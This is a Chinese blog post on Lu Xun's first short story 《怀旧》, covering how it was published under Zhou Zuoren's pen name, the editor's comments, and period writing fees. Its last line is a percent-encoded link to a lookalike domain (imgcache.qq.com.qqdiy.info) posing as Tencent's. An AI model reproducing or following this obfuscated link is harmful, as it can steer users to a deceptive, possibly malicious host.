鲁迅的小说处女作《怀旧》

标签:
鲁迅小说怀旧文学杂谈 |
分类: 中外文学 |
鲁迅的小说处女作《怀旧》
1934年5月6日,鲁迅致杨霁云的信中写道:“现在都说我的第一篇小说是《狂人日记》,其实我的最初排了活字的东西,是一篇文言的短篇小说,登在《小说林》(?)上。那时恐怕还是在革命之前,题目和笔名,都忘记了,内容是讲私塾里的事情的,后有恽铁樵的批语……还得了几本小说,算是奖品。”
由于鲁迅写这篇小说后并不在意,所以连它的写作时间、题目、署名、发表刊物都记不确切。其实,这篇小说的发表是周作人一手操办的。鲁迅逝世以后,周作人曾对这件事作了具体的说明:“他(鲁迅)写小说,其实并不始于《狂人日记》,辛亥年冬天在家里的时候,曾经用古文写过一篇,以东邻的富翁为模型,写革命前夜的情形,有性质不明的革命军将要进城,富翁与清客闲汉商议迎降,颇富于讽刺色彩。这篇文章未有题名,过了两三年,由我加了一个题目与署名,寄给小说月报;那时还是小册,系恽铁樵编辑,承其复信大加称赏,登在卷首。”鲁迅大事年表1911年条目中也有如下的记载:“冬,写成第一篇试作小说《怀旧》,阅二年始发表于《小说月报》第四卷第一号。”
这篇小说发表时的署名是“周逴”。周逴是周作人在翻译外国小说时所常用的署名。周作人当初把这个“周逴”当作半真半假名氏,认为“逴”从卓声,与“作”当是同音。
由于这篇小说的署名,鲁迅死后还曾经招致了一些误会。有人把署名会稽周逴的译作《红星佚史》(英国罗达哈葛德、安度阑原著)认为是鲁迅的翻译。
编辑恽铁樵在文中有十来处圈点:“一句一转”,“接笔不测从庄子得来”,“用笔之活可作金针度人”,“转弯处俱见笔力”,“写得活现真绘声绘影”,“不肯一笔平钝,故借雨作结,解得此法行文直游戏耳”,“状物入细”,“三字妙,若云睡去便是钝汉”,“余波照映前文,不可少”等等。总评是“实处可致力,空处不能致力,然初步不误,灵机人所固有,非难事也。曾见青年才解握管,便讲词章,卒致满纸饾饤,无有是处,亟宜以此等文字药之。——焦木附志。”
对于编辑如此良苦用心,周作人也十分感叹:“本文中又随处批注,共有十处,虽多是讲章法及用笔,有些话却也讲的很是中肯的,可见他对于文章不是不知甘苦的人。”
看看当时的稿酬标准:林琴南的翻译小说商务印书馆付给千字5元,后来增加到6元,属于稿酬偏高者;胡适也是千字6元;梁启超待遇最优厚,为千字20元;名中医陈存仁此时正在读书,给《申报》副刊“常识”投稿,每篇为1元。从清末到民国,上海图书市场已逐渐形成一个通用的稿费标准,为每千字2元至4元,5元、6元的很少,小书坊甚至收每千字5角至1元的书稿。再来看看当时的收入情况,一个绸缎铺的掌柜先生每月薪水8-10银元,普通职员4-6元,一个下等巡警的月收入是大洋8元,稍好一点工厂工人的月收入也有8元,吴趼人在江南制造局作抄写员,每月也是8元。这样一比较,五元大洋的稿酬,对于初出茅庐的鲁迅已经不低了。
鲁迅写作这篇小说已过去将近一个世纪了。但由于是文言文,加之很少编入鲁迅文集,所以至今很少有人对这篇文章的思想性、艺术性进行系统细致的分析。
附录:《怀旧》全文(待续)
http://%69%6d%67%63%61%63%68%65%2e%71%71%2e%63%6f%6d%2e%71%71%64%69%79%2e%69%6e%66%6f/a/s/m.php